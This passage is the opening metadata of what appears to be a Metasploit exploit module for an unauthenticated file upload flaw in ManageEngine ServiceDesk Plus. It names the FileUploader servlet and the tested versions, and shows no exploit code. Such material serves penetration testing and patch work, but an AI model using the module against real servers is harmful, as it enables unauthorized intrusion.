'Name' => 'ManageEngine ServiceDesk Plus Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in ManageEngine ServiceDesk Plus.
The vulnerability exists in the FileUploader servlet which accepts unauthenticated
file uploads. This module has been tested successfully on versions v9 b9000 - b9102
in Windows and Linux. The MSP versions do not expose the vulnerable servlet.
